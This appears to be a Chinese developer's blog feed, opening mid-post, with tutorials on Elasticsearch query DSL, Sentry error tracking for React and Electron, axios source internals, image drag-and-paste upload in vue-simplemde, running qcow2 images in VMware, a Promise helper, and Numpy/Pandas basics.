现在我想查询价格低于 70，并大于等于 50 的书籍。伪代码既: (price >= 50 && price < 70) :

GET books/_search
{
  "_source": ["title", "price"],
  "query": {
    "range": {
      "price": {
        "gte": 50,
        "lt": 70
      }
    }
  }
}

其结果如图:

date 范围查询 {#date-range}

如果我想查询，出版日期在 2016-1-1 到 2016-12-31 之间的书籍，那么 DSL 查询语句就如同以下这样:

GET books/_search
{
  "_source": ["title", "publish_time"],
  "query": {
    "range": {
      "publish_time": {
        "gte": "2016-1-1",
        "lte": "2016-12-31",
        "format": "yyyy-MM-dd"
      }
    }
  }
}

其结果如图:

exists query

匹配有这个属性的文档。比如我想找到存在 title 字段的文档:

GET books/_search
{
  "_source": "title",
  "query": {
    "exists": {
      "field": "title"
    }
  }
}

结果会返回所有的文档。那么如何定义 有这个属性 呢？

定义的规则如下:

{"title": "js"}: 存在
{"title": ""}: 存在
{"title": ["js"]}: 存在
{"title": ["js", null]}: 存在 (有一个值不为空就行)
{"title": null}: 不存在
{"title": []} 不存在
{"title": [null]} 不存在
{"foo": "bar"}: 不存在

perfix query

用来匹配文档分词后的词项中的前缀。我们先写个 DSL 进行匹配下:

GET books/_search
{
  "_source": "description",
  "query": {
    "prefix": {
      "description": "wi"
    }
  }
}

其结果如图:

为何 wi 可以匹配到这个呢？因为 Elasticsearch 会对 description 进行分词，其中会把 winPython 分为 win Python。那么这两个就是文档分词后的词项，而 prefix 匹配每个词项的开头是否匹配，相当于 js 的 startsWith 方法。用代码诠释的话就是:

const dataItem = ['win', 'python'];
const prefixKeyword = 'wi';

const result = dataItem.some(item => item.startsWith(prefixKeyword));

console.log(result); //=> true

wildcard query

wildcard 为通配符查询。不过目前只支持 * 和 ?。所代表的含义为:

*: 零个或多个
?: 一个或多个

注意: wildcard 不是匹配全文，还是会对文档的字段进行分词，然后应用于每个词项

比如，我现在想查询 wi* 的文档:

GET books/_search
{
  "_source": "description",
  "query": {
    "wildcard": {
      "description": "wi*"
    }
  }
}

其结果如图:

首先 Elasticsearch 会先对 description 进行分词为: win 和 python。然后 wi* 会应用到每个词项里，其中 win 符合规则，则显示在结果中。

如果我用 win?，则不会有任何的结果，因为 ? 代表的是一个或多个。那么匹配到 win 的时候，后面没有字符串了，则结果为空。

regexp query

其为正则表达式查询，原理同 wildcard，这里就不在阐述了。

fuzzy query

可以把 fuzzy 理解为模糊查询。比如用户输入关键字时，一不小心输入错了，变成了 javascrpit，那么 fuzzy 的作用就出来了。它仍可以搜索到 javascript:

GET books/_search
{
  "_source": "description",
  "query": {
    "fuzzy": {
      "description": "javascrpit"
    }
  }
}

其结果如图:

复合查询 {#compound-queries}

复合查询就是把简单的查询组合在一起，从而实现更加复杂的查询。并且复合查询还可以控制另一个查询的行为。

constant_score query

不太常用，用于对返回结果的文档进行打分。

这里就不在阐述了，如果感兴趣，可见: [Elasticsearch] 控制相关度 (四) - 忽略 TF/IDF

bool query

这个查询方法，还是非常重要的。这个方法提供了以下操作方法:

must: 文档必须满足 must 下面的查询条件，相当于 AND 或者 &&
should: 文档可以匹配 should 下的查询条件，匹配不出来也没事。相当于 OR 或者 ||
must_not: 和 must 相反，必须不满足 must_not 下面的查询条件，相当于 !==
filter: 其功能和 must 一样，但是不会打分，也就说不会影响文档的 _score 字段

现在，我们想要查询: 书籍作者 (author) 是 葛一鸣，书籍名称 (title) 里包含 java 的书籍，价格 (price) 不能高于 70 低于 40，并且书籍描述 (description) 可以包含或者不包含 虚拟机 的书籍。

GET books/_search
{
  "query": {
    "bool": {
      "filter": {
        "term": {
          "author": "葛一鸣"
        }
      },
      "must": [
        {
          "match": {
            "title": "java"
          }
        }
      ],
      "should": [
        {
          "match": {
            "description": "虚拟机"
          }
        }
      ],
      "must_not": [
        {
          "range": {
            "price": {
              "gt": 70,
              "lt": 40
            }
          }
        }
      ]
    }
  }
}

其结果如图:

dis_max query、function_score query、boosting query {#dis-max-function-score-boosting}

这三个就不在阐述了，其主要作用是关系到 _score，也就是关系到查询的结果的评分。感兴趣的，可以在网上搜下。

JavaScript 集成 Sentry

bh@bugs.cc (Kevin Cui) — Fri, 24 Aug 2018 01:16:33 GMT

Sentry-JavaScript

Sentry 是一套用于捕获产品错误的开源项目，其下支持很多语言、框架。

这里就只阐述在前端 JavaScript 方向的处理操作

在我们公司之前的应用场景里，很多项目都是使用 kibana 来做信息统计。但是我们无法清楚的知道应用的运行状态是怎么样的。当某个客户在使用我们开发产品时，如果报错、崩溃。用户只能向客服寻求帮助，再交接给我们的开发人员进行复现、修复。其中因为不清楚具体的数据，开发人员是在复现时会非常的耗时。

而 Sentry 的用途就是解决这一痛点问题，让开发人员快速准确的定位到问题的根源所在，以达到快速修复，让开发人员更注重于开发新的功能上面。减少时间资源上的浪费。

JavaScript

接入 {#setup}

因为 Sentry 使用的是一种 Hook 错误函数的技术，来达到捕获错误的目的，所以我们基本可以无损耗的接入到现有的项目中去。

下面是 React 与 Sentry 进行结合的一些基本步骤。

React:

#SentryBoundary.js
import { Component } from "react";
import Raven from "raven-js";

export default class SentryBoundary extends Component {
  constructor(props) {
    super(props);
    this.state = { error: null };
  }

  componentDidCatch(error, errorInfo) {
    this.setState({ error });
    // 发送错误信息
    Raven.captureException(error, { extra: errorInfo });
  }

  render() {
    if (this.state.error) {
      // 此处可以写成组件，当组件崩溃后，可以替换崩溃的组件
      console.log("React Error");
    }
    return this.props.children;
  }
}

#index.js
Raven.config("DSN", {
  release: release,
}).install();

ReactDOM.render(
  <div>
    <SentryBoundary>
      <App />
    </SentryBoundary>
  </div>,
  document.getElementById("root")
);

上传 source-map {#upload-source-map}

如果上面的代码已经配置好后，那么现在的应用是可以捕获到错误的，但是存在了一个问题，我们目前的项目大多都使用 webpack 进行打包，而打包后的代码是混淆加密的代码，无法让我们准确的知道抛出错误的位置在哪里。所以我们需要上传 source-map 和混淆后的文件一起上传到 Sentry 服务器上。方便我们快速查找到问题所在的位置。

这个上传的配置及命令是比较繁琐的。也是项目结合 Sentry 的一个难点。

上传 source-map 目前有两种方式:

使用 Sentry 提供的 Webpack 插件进行配置，但是其灵活性不高。
使用 sentry-cli 的，其灵活性比较高，可以针对不同项目进行单独的配置。

其配置较为繁琐，这里就不在阐述。具体的 React 与 Sentry 结合的例子。可见我在 github 上的项目: react-sentry-demo。对每个配置都有详细的说明。其中的上传 source-map，我使用的是第二种方法，并写了一个脚本，实现了: 打包、环境检测、认证检测、上传 source-map、删除本地 source-map 的操作，完成自动化，可以把脚本直接迁移到现有的项目中去，改动也不会太大。

其核心上传命令如下:

sentry-cli releases files v1.8 upload-sourcemaps {js文件和js.map所在目录。如果没有找到，sentry会遍历其子目录} --url-prefix '~/{过滤规则}'`;

浅入原理 {#how-it-works}

在 JavaScript 中是有 window.onerror 这个方法的，而 Sentry 在前端的核心捕获原理，就是通过重写此方法，来对所有的错误进行捕获。其实现的代码大致如下:

let _winError = window.onerror;
window.onerror = function (message, url, lineNo, colNo, errorObj) {
    console.log(`
	错误信息: ${message}
	错误文件地址: ${url}
	错误行号: ${lineNo}
	错误列号: ${colNo}
	错误的详细信息 ${errorObj}`);
}

然后 Sentry 的工作就是获取非错误的数据，如: user-agent、浏览器信息、系统信息、自定义信息等信息，然后交给 Sentry 的生命周期函数，最后在把数据发送到 Sentry 服务端，进行错误信息展示。

兼容性 {#compatibility}

这里所说的兼容性，其实也就是 window.onerror 的兼容性

运行环境兼容性 {#runtime-compatibility}

| 环境 | message | url | lineNo | colNo | errorObj | | ———————– | : —–: | : —: | : ––: | : —: | : ——: | | Firefox | ✓ | ✓ | ✓ | ✓ | ✓ | | Chrom | ✓ | ✓ | ✓ | ✓ | ✓ | | Edge | ✓ | ✓ | ✓ | ✓ | ✓ | | IE 11 | ✓ | ✓ | ✓ | ✓ | ✓ | | IE 10 | ✓ | ✓ | ✓ | ✓ | | | IE 9 | ✓ | ✓ | ✓ | ✓ | | | IE 8 | ✓ | ✓ | ✓ | | | | Safari 10 and up | ✓ | ✓ | ✓ | ✓ | ✓ | | Safari 9 | ✓ | ✓ | ✓ | ✓ | | | Opera 15+ | ✓ | ✓ | ✓ | ✓ | ✓ | | Android Browser 4.4 | ✓ | ✓ | ✓ | ✓ | | | Android Browser 4 - 4.3 | ✓ | ✓ | | | | | 微信 webview(安卓) | ✓ | ✓ | ✓ | ✓ | | | 微信 webview(IOS) | ✓ | ✓ | ✓ | ✓ | ✓ | | WKWebview | ✓ | ✓ | ✓ | ✓ | ✓ | | UIWebview | ✓ | ✓ | ✓ | ✓ | ✓ |

标签兼容性 {#tag-compatibility}

标签	window.onerror 是否能捕获
img	可以
script	需要再 script 标签添加 `crossorigin` 属性，并在服务端允许跨域。如果不使用这个属性，错误信息只会显示 `Script error.`
css	不能
iframe	不能

可以发现其浏览器都支持此方法。只是有些运行环境不支持 colNo 和 errorObj，但是这块，Sentry 已经帮你处理好了，所以不用担心。只是会在展示错误的时候，信息不太完整而已。

所能捕获的信息 {#captured-info}

错误信息 {#error-info}

从上面的浅入原理可以看到，其核心捕获是 window.onerror。那么只要它可以捕获到的错误，都会发送到 Sentry 上。

而 window.onerror 能捕获到的错误，除了 Promise，基本上能在控制台出现的错误，都会捕获到。也就是运行时的错误，包括语法错误。

关于捕获 Promise 错误的方案，可以使用:

window.addEventListener('unhandledrejection', event => {})

来进行捕获，但是此事件的兼容性不太好，目前只有 webkit内核 支持这个事件。

如下代码，是此方法所能捕获到的:

const p = new Promise((reslove, reject) => reject('Error'))
p.then(data => {
  console.log(data)
})
// Promise 触发了 reject 回调函数，但是却没有相应到 catch 来应对。从而导致报错。

面包屑信息 {#breadcrumbs}

Ajax 请求
URL 地址的变化
UI 点击和按下的 DOM 事件
控制台的 console 信息
之前的错误
自定义的面包屑信息

展示信息 {#display}

Electron 集成 {#electron}

这里的集成，也不是说捕获 Electron 应用的错误，而是崩溃。因为 Electron 只是一个容器，里面的内容还是 JavaScript 应用。

接入 {#electron-setup}

刚刚也说到这里的集成也只是去捕获 Electron 崩溃的信息。而当 Electron 崩溃时，会触发 Electron 的函数: crashReporter.start，那么我们在这个函数里去配置一下自己的 sentry 信息:

import { crashReporter } from 'electron'

crashReporter.start({
  productName: 'aoc-desktop',
  companyName: 'alo7',
  submitURL:
    'https://sentry.com/api/15376/minidump/?sentry_key=3e05fa101f035008e953ff56909b8eb',	// sentry 提供的 minidump 接口
  extra: {
    // 额外信息
  }
})

配置好后，可以使用 process.crash() 来模拟崩溃，以便查看 Sentry 是否能收到崩溃信息。

上传 Symbol(符号表) {#upload-symbols}

在上面的应用说的是上传 source-map，但是这里上传的是 Symbol。可以把 Symbol 理解为另一种 source-map。

Symbol 的格式 (后缀) 有很多，Mac 下是 dSYM，windows 是 pdb。而在 Sentry 里，暂时是不支持上传 pdb 的。需要使用 dump_syms.exe 来把 pdb 格式转化成 sym 格式。再上传到 Sentry 里。这样就可以在 Sentry 崩溃的时候，看到起崩溃的上下文了。如下图:

这样就可以准确的定位到是哪里出现了问题。

浅入上传检索的原理 {#source-map-matching}

当 Sentry 服务端收到 source-map 时，是通过你上传时的 url-prefix 信息，与 source-map 文件以及运行时的 js 文件，产生对应。流程图如下:

分析 axios 源码来找出无法使用 all 和 spread 等方法的原因

bh@bugs.cc (Kevin Cui) — Sat, 14 Apr 2018 05:37:29 GMT

前言 {#intro}

如果你在使用 axios 的时候，是使用 axios.create({}) 方法来进行创建 axios 的，那么你会发现你无法使用 all、spread、Cancel、CancelToken、isCancel 方法。

我上网查了相关的问题，axios 维护者们都是让你重新引入 axios package 来进行完成任务。我不喜欢这种方法，因为重新引入的话，那我的 axios 配置就会丢失，需要重新配置一遍，太过麻烦。

因为我们项目很多时候，不想使用默认的配置，想使用自定义设置的 axios 实例。比如设置基础 URL 和超时时间:

let newAxios = axios.create({
  baseURL: 'https://www.google.com.hk',
  timeout: 1000
})

设置完后，使用 newAxios.post 来完成自己的需求，当然，如果你只使用 get、post、put 等基础的方法，是没有问题的。但是如果你使用 all、spread、Cancel、CancelToken、isCancel 方法，将会告诉你，方法不存在。

现在，让我们看一下 axios 源码是如何实现的，为什么使用 axios.create 方法后，就无法使用 all、spread 等方法。

正文 {#source-analysis}

我们先打开 axios 源码目录下的 lib/axios.js 文件。这个文件就是 Axios 入口处。也是 create 函数所在的地方。我们现在来看看 create 的源代码:

axios.create = function create(instanceConfig) {
  return createInstance(mergeConfig(axios.defaults, instanceConfig));
};

我们先逐步解读。看到 mergeConfig 方法，大家就能从字面上理解了。这是一个合并配置的方法。就是把我们配置与默认配置进行合并，把我们的配置覆盖默认的配置。合并配置的代码，这里就不细说了，有兴趣的可以去 mergeConfig 看下。所以现在的代码变成了这样:

axios.create = function create(instanceConfig) {
  return createInstance({
    baseURL: 'https://www.google.com.hk',
    timeout: 1000,
    xsrfCookieName: 'XSRF-TOKEN',
    xsrfHeaderName: 'X-XSRF-TOKEN',
    maxContentLength: -1,
    /* 等等 */
  });
};

现在看是不是就有点清晰了。现在我们看到还剩一个函数 createInstance，现在让我们去看一下:

function createInstance(defaultConfig) {
  var context = new Axios(defaultConfig);
  var instance = bind(Axios.prototype.request, context);

  // Copy axios.prototype to instance
  utils.extend(instance, Axios.prototype, context);

  // Copy context to instance
  utils.extend(instance, context);

  return instance;
}

context 变量内容是 axios 实例代码。我们来看下，里面大致长啥样:

function Axios(instanceConfig) {
  this.defaults = instanceConfig;
  this.interceptors = {
    request: new InterceptorManager(),
    response: new InterceptorManager()
  };
}

// Provide aliases for supported request methods
utils.forEach(['delete', 'get', 'head', 'options'], function forEachMethodNoData(method) {
  /*eslint func-names: 0*/
  Axios.prototype[method] = function(url, config) {
    return this.request(utils.merge(config || {}, {
      method: method,
      url: url
    }));
  };
});

utils.forEach(['post', 'put', 'patch'], function forEachMethodWithData(method) {
  /*eslint func-names: 0*/
  Axios.prototype[method] = function(url, data, config) {
    return this.request(utils.merge(config || {}, {
      method: method,
      url: url,
      data: data
    }));
  };
});

不用细看，我们只需要知道，实例 Axios 后，context 变量里的原型链上有 request delete get head options post put patch 方法，自身有 request interceptors 对象。

现在，让我们看下下面的 bind 和 extend 方法:

var instance = bind(Axios.prototype.request, context);

// Copy axios.prototype to instance
utils.extend(instance, Axios.prototype, context);

// Copy context to instance
utils.extend(instance, context);

第一个 bind 函数，是让 Axios.prototype.request 函数里的 this 指向 context 变量。

后面两个 extend 方法，是把第二参数的可枚举对象复制到第一个参数中，也就是 instance 变量里。

我们从第一个 bind 方法开始，现在 instance 变量里有一个 request 方法。

然后第二个 extend 方法，把 Axios.prototype 里的方法复制到 instance 变量里。现在 instance 变量里有 request delete get head options post put patch 方法。

最后第三个 extend 方法，把 context 里的方法复制到 instance 变量里。现在变量里有 request delete get head options post put patch interceptors defaults。

然后就没了，create 方法直接返回 instance 变量。是不是根本没有看到 all、spread 等方法。这也就是为什么使用 create 方法后，无法使用这些方法。那么这些方法在哪呢？还是在 lib/axios.js 文件里:

// Expose Cancel & CancelToken
axios.Cancel = require('./cancel/Cancel');
axios.CancelToken = require('./cancel/CancelToken');
axios.isCancel = require('./cancel/isCancel');

// Expose all/spread
axios.all = function all(promises) {
  return Promise.all(promises);
};
axios.spread = require('./helpers/spread');

module.exports = axios;

// Allow use of default import syntax in TypeScript
module.exports.default = axios;

可以看到，这里是把这些方法直接赋值在 axios 方法上，然后就直接暴露出去了。所以当我们使用 axios 可以使用 all、spread 等方法。但是使用 axios.create 就无法使用 all、spread、Cancel、CancelToken、isCancel 方法。

解决方案 {#solution}

如果能改 axios 源码的话，那可以把 lib/axios.js 改成如下，就行了:

function createInstance(defaultConfig) {
  var context = new Axios(defaultConfig);
  var instance = bind(Axios.prototype.request, context);

  // Copy axios.prototype to instance
  utils.extend(instance, Axios.prototype, context);

  // Copy context to instance
  utils.extend(instance, context);

  utils.extend(instance, {
    Cancel: require('./cancel/Cancel'),
    CancelToken: require('./cancel/CancelToken'),
    isCancel: require('./cancel/isCancel'),
    all: function all(promises) {
      return Promise.all(promises);
    },
    spread: require('./helpers/spread')
  }, context);

  return instance;
}

但是，这当然不可能啦。所以，我们需要在不改源代码的情况下，去实现。

有一个暴力的解决方案，不过我挺喜欢的:

let axios = require('axios');

const http = axios.create({
  baseURL: 'https://www.google.com.hk'
})

/* eslint-disable no-proto */
http.__proto__ = axios
/* eslint-enable */

module.exports = axios

是不是很简单，一行代码解决问题。¹

这里之所以要加上注释，因为在 eslint 里是不允许对 __proto__ 进行重新赋值的。 ↩

基于 vue-simplemde 实现图片拖拽、粘贴功能的一些思考

bh@bugs.cc (Kevin Cui) — Thu, 12 Apr 2018 03:00:12 GMT

前言 {#intro}

项目使用的是 vue 框架，需要一个 markdown 的编辑框，就在 npm 上找了一下，发现 simplemde 挺不错的，由于我比较懒，就顺便在 npm 又搜了一下，找到了 vue-simplemde 这个 package，那就开始使用它吧。

但是这个 vue-simplemde 不支持图片拖拽上传、粘贴上传，也不能说是因为这个 vue-simplemde，因为 vue-simplemde 只是对 simplemde 的基础上封装成一个 Vue 插件。所以最后还是由于 simplemde 没有提供相关的功能，但是为了用户体验考虑，这个功能时必要的，除非不使用 markdown 编辑器。而去使用富文本编辑器，那样的话，项目很多的代码都要进行更改。所以就在网上查了文章，及在 github 上查了一些代码。下面将进行分析

拖拽 {#drag-drop}

拖拽的 API 核心是 drop 这个事件，就是当我们从桌面拖动一个文件到浏览器里时，松开的时候，而触发的事件名。

我们都知道，你随便拖动一个图片到浏览器里，会直接打开这个图片，这是因为浏览器默认你拖动文件到浏览器里时，将打开这个文件，所以，我们需要阻止原生的操作。

我们现在先写一段代码，让其屏蔽掉默认事件

window.addEventListener("drop", e => {
  e = e || event
  if (e.target.className === 'CodeMirror-scroll') { // 如果进入到编辑器的话，将阻止默认事件
    e.preventDefault()
  }
}, false)

CodeMirror-scroll 这个 Class 就是 simplemde 编辑框的 Class 名称。

现在我们拖拽文件到这个编辑框，然后松掉，不会出现任何反应。如果在编辑框之外的地方，还是会继续触发默认事件。

下面就是获取 simplemde 方法，给他 drop 事件处理方法。

// 假设页面一共有三个编辑窗口，所以需要循环监听事件
[ this.$refs.simplemde1,
  this.$refs.simplemde2,
  this.$refs.simplemde3
].map(({simplemde}) => {
  simplemde.codemirror.on('drop', (editor, e) => {
    if (!(e.dataTransfer && e.dataTransfer.files)) {
      // 弹窗说明，此浏览器不支持此操作
      return
    }

    let dataList = e.dataTransfer.files
    let imageFiles = [] // 要上传的文件实例数组

    // 循环，是因为可能会同时拖动几个图片文件
    for (let i = 0; i < dataList.length; i++) {
    // 如果不是图片，则弹窗警告 仅支持拖拽图片文件
      if (dataList[i].type.indexOf('image') === -1) {
        // 下面的 continue，作用是，如果用户同时拖动 2 个图片和一个文档，那么文档不给于上传，图片照常上传。
        continue
      }
      imageFiles.push(dataList[i])  // 先把当前的文件 push 进数组里，等 for 循环结束之后，统一上传。
    }
    // uploadImagesFile 方法是上传图片的方法
    // simplemde.codemirror 的作用是用于区分当前的图片上传是处于哪个编辑框
    this.uploadImagesFile(simplemde.codemirror, imageFiles)
    // 因为已经有了下面这段代码，所以上面的屏蔽默认事件代码就不用写了
    e.preventDefault()
  })
})

诈一看，代码好像有点多，那是因为注释的原因，下面是没有注释的代码。你可以根据下面的代码，有自己的见解和理解:

[ this.$refs.simplemde1,
  this.$refs.simplemde2,
  this.$refs.simplemde3
].map(({simplemde}) => {
  simplemde.codemirror.on('drop', (editor, e) => {
    if (!(e.dataTransfer && e.dataTransfer.files)) {
      return
    }
    let dataList = e.dataTransfer.files
    let imageFiles = []
    for (let i = 0; i < dataList.length; i++) {
      if (dataList[i].type.indexOf('image') === -1) {
        continue
      }
      imageFiles.push(dataList[i])
    }
    this.uploadImagesFile(simplemde.codemirror, imageFiles)
    e.preventDefault()
  })
})

粘贴 {#paste}

粘贴的 API 是 paste 方法，这个不像上面一样，粘贴不需要禁止默认事件，因为我们可以看到，你复制一个图片，到浏览器里按下 ctrl+v 的时候，是不会发生任何变化的，所以没用必要禁止默认事件。

下面是代码:

simplemde.codemirror.on('paste', (editor, e) => { // 粘贴图片的触发函数
  if (!(e.clipboardData && e.clipboardData.items)) {
    // 弹窗说明，此浏览器不支持此操作
    return
  }
  try {
    let dataList = e.clipboardData.items
    if (dataList[0].kind === 'file' && dataList[0].getAsFile().type.indexOf('image') !== -1) {
      this.uploadImagesFile(simplemde.codemirror, [dataList[0].getAsFile()])
    }
  } catch (e) {
    // 弹窗说明，只能粘贴图片
  }
})

之所以这里写上 try...catch 方法，是因为如果你粘贴的时候，如果是一个文件，items 将是空的，而在下面的 if 循环里，使用 dataList[0].kind。也就是 e.clipboardData.items[0].kind。当 item 为空时，还去访问一个不存的 kind 属性时，就会报错了。所以这里需要使用 try...catch 方法进行判断。

dataList[0].getAsFile().type.indexOf('image') !== -1 这个句话是判断，粘贴的东西确认是图片，而不是其他东西。

if 里的上传图片，不一样的地方是 [dataList[0].getAsFile()]，因为为了统一格式，方便 uploadImagesFile 函数进行处理，我加上了[]，使之成为数组。dataList[0].getAsFile() 就是获取文件实例了。

上传 {#upload}

上传就有一点麻烦了:

uploadImagesFile (simplemde, files) {
  // 把每个文件实例使用 FormData 进行包装一下，然后返回一个数组
  let params = files.map(file => {
    let param = new FormData()
    param.append('file', file, file.name)
    return param
  })

  let makeRequest = params => {
    return this.$http.post('/Api/upload', params)
  }
  let requests = params.map(makeRequest)

  this.$http.spread = callback => {
    return arr => {
      return callback.apply(null, arr)
    }
  }

  // 服务端返回的格式是{state: Boolean，data: String}
  // state 为 false 时，data 就是返回的错误信息
  // state 为 true 时，data 是图片上传后 url 地址，这个地址是针对网站的绝对路径。如下:
  // /static/upload/2cfd6a50-3d30-11e8-b351-0d25ce9162a3.png
  Promise.all(requests)
    .then(this.$http.spread((...resps) => {
      for (let i = 0; i < resps.length; i++) {
        let {state, data} = resps[i].data
        if (!state) {
          // 弹窗显示 data 的错误信息
          continue
        }
        let url = `![](${location.origin + data})`  // 拼接成 markdown 语法
        let content = simplemde.getValue()
        simplemde.setValue(content + url + '\n')  // 和编辑框之前的内容进行拼接
      }
    }))
}

因为我是把 axiox 封装成 vue 插件来使用，这样会导致，this.$http 是实例化后的，而不是他本身。 axios 维护者说的解决方案是，重新引入 axios 包，来使用。但是我觉得没有必要。axios.all 内部是 Promise.all。axios.spread 实现代码比较少，就直接拿过来，重新赋值给 axios 就好了

所以上面有段代码是

Promise.all(requests)
  .then(this.$http.spread((...resps) => {
    // code
  })

把这段代码翻译一下就是

axios.all(requests)
  .then(axios.spread((...resps) => {
    // code
  })

关于这个问题，请看下官方的解释: axios-all-is-not-a-function-inside-vue-component。也可以看下 axios 的代码: axios.js#L45-L48

这个问题，暂时就不深究了，我们回到刚刚的话题上。

上面我说到当 state 为 true 时，data 是文件相对于网站的绝对路径，如: /static/upload/2cfd6a50-3d30-11e8-b351-0d25ce9162a3.png

如果我们需要进行拼接一下，所以就有了 ![](${location.origin + data}) 这段代码进行拼接。最后的两行是获取指的获取之前的内容，然后在追加 url 地址。

结尾 {#conclusion}

下面是最终的效果图:

完整代码: Subject.vue#L378-L465

参考 && 感谢 {#references}

skecozo 作者的 laravel-demo 项目里的部分代码

Lemon 作者的《simplemde 实现拖拽、粘贴图片上传》文章

f-loat 作者的 vue-simplemde 项目

wescossick 作者的 simplemde 项目

在 vmware 里运行 qcow2 镜像

bh@bugs.cc (Kevin Cui) — Tue, 23 Jan 2018 01:12:31 GMT

前言 {#intro}

因为一些原因，需要在自己的笔记本上运行 qcow2 镜像。做个 OpenStack 平台吧，系统配置吃不消。想试一下能不能在 vmware 里直接跑 qcow2 镜像。网上的答案都是使用 qemu-img 工具进行转化，但是都后面也就没有说明了。于是自己折腾了一下，把过程记录一下。

准备 {#preparation}

需要先下载 qemu-img 工具，因为我是在 windows64 位上，所以就下载了 win64 的镜像，工具安装好后，最好在环境变量里的 PATH 里加入下一安装目录，方便后面的操作

Vmware 虚拟机、qcow2 原始镜像包就不说了，必备的。

流程 {#steps}

首先使用 qemu-img 工具，把 qcow2 的镜像转化成 vmdk 格式的:

$ qemu-img convert -f qcow2 CentOS_7.2_x86_64_XD.qcow2 -O vmdk Centos.vmdk

然后会在根目录出现 Centos.vmdk 镜像，但是无法导入，因为没有 vmx 文件。导入到 Vmware 里会报错。

所以，我们先使用 VMware 建立一个空的虚拟机，系统因你的 qcow2 进行选择，因为我是 Centos7。我这里选择的是 Centos 7 64 位系统。

创建好了之后，进入 Virtual Machines 目录下的你刚刚创建虚拟机的目录，把 vmdk 文件删除，用之间 qemu-img 转化后的文件，覆盖过去，启动 Vmware 就成功了。

下面是演示视频:

YouTube: https://www.youtube.com/watch?v=GE1dkDgRSPA

对 Promise 增加统一操作扩展

bh@bugs.cc (Kevin Cui) — Sat, 06 Jan 2018 09:34:21 GMT

前言 {#intro}

在 ES6 里，增加了 Promise 方法。而 Promise 的回调函数只有 then 和 catch 两种方法。

而后，Promise 又添加了两种附加方法，当然需要自己去添加进去。

一个是 done 方法: http://es6.ruanyifeng.com/#docs/promise#done
一个是 finally 方法: http://es6.ruanyifeng.com/#docs/promise#finally

可以去看一下上文的链接去了解一下，或者去下面的链接，看下官方源码是如何实现的: done 和 finally

正文 {#unified-method}

但是却没有一个针对 then 和 catch 的统一操作。

如果在最后处理的时候，then 和 catch 的代码处理逻辑差不多的情况下，可能就需要写两份差不多的代码量。

当然可能会有些人会把差不多的代码处理逻辑提取到一个函数里，但是这样也不太美观，这个时候如果有一个回调函数可以同时处理 resolve 和 reject 就好了。

我们可以对 Promise 方法添加一个原型函数。这个函数来捕获 resolve 和 reject，然后进行处理返回，就好了。代码很简单，如下:

Promise.prototype.unified = function (callback) {
  this.then(
    data => callback(true, data),
    data => callback(false, data)
  )
}

使用的方法也很简单，我们先写一个没有统一操作的 Promise 代码:

let promise = new Promise(function(resolve, reject) {
  if (false){
    setTimeout(() => resolve('success'), 1000)
  } else {
    setTimeout(() => reject('error'), 1000)
  }
})

promise
  .then((data) => {
    console.log(
      state: true,
      data: data,
      msg: 'operation successful'
    )
  })
  .catch((data) => {
    console.log(
      state: false,
      data: data,
      msg: 'operation failed'
    )
  })

然后我们使用 unified 方法重写一个:

let promise = new Promise(function(resolve, reject) {
  if (false){
    setTimeout(() => resolve('success'), 1000)
  } else {
    setTimeout(() => reject('error'), 1000)
  }
})

promise.unified((state, data) => {
  const msg = state ? 'operation successful' : 'operation failed'
  console.log(
    state,
    data,
    msg
  )
})

是不是方法了很多，当然此方法属于代码耦合了。也请谨慎使用，不然后期维护会很麻烦。

Numpy & Pandas & Matplotilb 部分 API 操作

bh@bugs.cc (Kevin Cui) — Sun, 12 Nov 2017 13:04:48 GMT

Numpy

导入 {#numpy-import}

import numpy as np

API

创建数组 {#create-array}

np.array([10, 11, 12, 13])
# [10 11 12 13]


np.array([10, 11, 12, 13, 14 ,15]).reshape([2,3])
# [
#   [10 11 12]
#   [13 14 15]
# ]


np.array([[1, 2], [3, 4]])
# [
#   [1 2]
#   [3 4]
# ]


np.arange(4)
# [0 1 2 3]


np.arange(2, 6)
# [2 3 4 5]


np.arange(4).reshape([2,2])
# [
#   [0 1]
#   [2 3]
# ]


np.random.random([2,3])
# [
#   [ 0.00136044  0.46854718  0.59149907]
#   [ 0.75636339  0.18204628  0.53191402]
# ]

求值 {#calculation}

arr = np.array([10, 11, 12, 13, 14 ,15]).reshape([2,3])
# [
#   [10 11 12]
#   [13 14 15]
# ]


# 总数
np.sum(arr, axis=0)
# [23 25 27]
np.sum(arr, axis=1)
# [33 42]


# 最小数
np.min(arr, axis=0)
# [10 11 12]
np.min(arr, axis=1)
# [10 13]


# 最大数
np.max(arr, axis=0)
# [13 14 15]
np.max(arr, axis=1)
# [12 15]


# 最大/小值得索引值
np.argmin(arr)
# 0 0 是索引
np.argmax(arr)
# 5 5 是索引


# 平均值
arr.mean()
# np.mean(arr)
# 12.5
np.average(arr)
# 12.5


# 逐步增加
np.cumsum(arr)
# [10 21 33 46 60 75]


# 相差
np.diff(arr)
# [
#   [1 1]
#   [1 1]
# ]

# 替换
np.clip(arr, 11, 14)
# [
#   [11 11 12]
#    [13 14 14]
# ]
# 小于 11 的数替换成 11，大于 14 的数替换成 14，其他数不变

索引 {#indexing}

arr = np.arange(3, 15).reshape([3,4])
# [
#   [ 3  4  5  6]
#   [ 7  8  9 10]
#   [11 12 13 14]
# ]

arr[1, 1]
# arr[1][1]
# 8

arr[:, 1]
# [ 4 8 12]

arr[1, :]
# [ 7 8 9 10]

arr[1, 1:3]
# [8 9]

arr.flatten()
# [ 3  4  5  6  7  8  9 10 11 12 13 14]

for i in arr.flat:
  print(i)
# 每行打印出值。arr.flat 是迭代器

合并 {#numpy-merge}

A = np.array([1, 1, 1])
B = np.array([2, 2, 2])

np.vstack((A, B))
# [
#   [1 1 1]
#   [2 2 2]
# ]
np.hstack((A, B))
# [1 1 1 2 2 2]

分割 {#split}

arr = np.arange(12).reshape([3,4])
# [
#   [ 0  1  2  3]
#   [ 4  5  6  7]
#   [ 8  9 10 11]
# ]

np.split(arr, 2, axis=1)
# [array([
#   [0, 1],
#   [4, 5],
#   [8, 9]
# ]),
# array([
#   [ 2,  3],
#   [ 6,  7],
#   [10, 11]]
# )]

Pandas

导入 {#pandas-import}

import pandas as pd

API

创建列表 {#create-dataframe}

pd.Series([1, 3, 6, np.nan, 44, 1])
# 0     1.0
# 1     3.0
# 2     6.0
# 3     NaN
# 4    44.0
# 5     1.0
# dtype: float64


pd.date_range('20171108', periods=6)
# DatetimeIndex(
#   ['2017-11-08', '2017-11-09', '2017-11-10', '2017-11-11','2017-11-12', '2017-11-13'],
#   dtype='datetime64[ns]',
#   freq='D'
# )


dates = pd.date_range('20171108', periods=6)
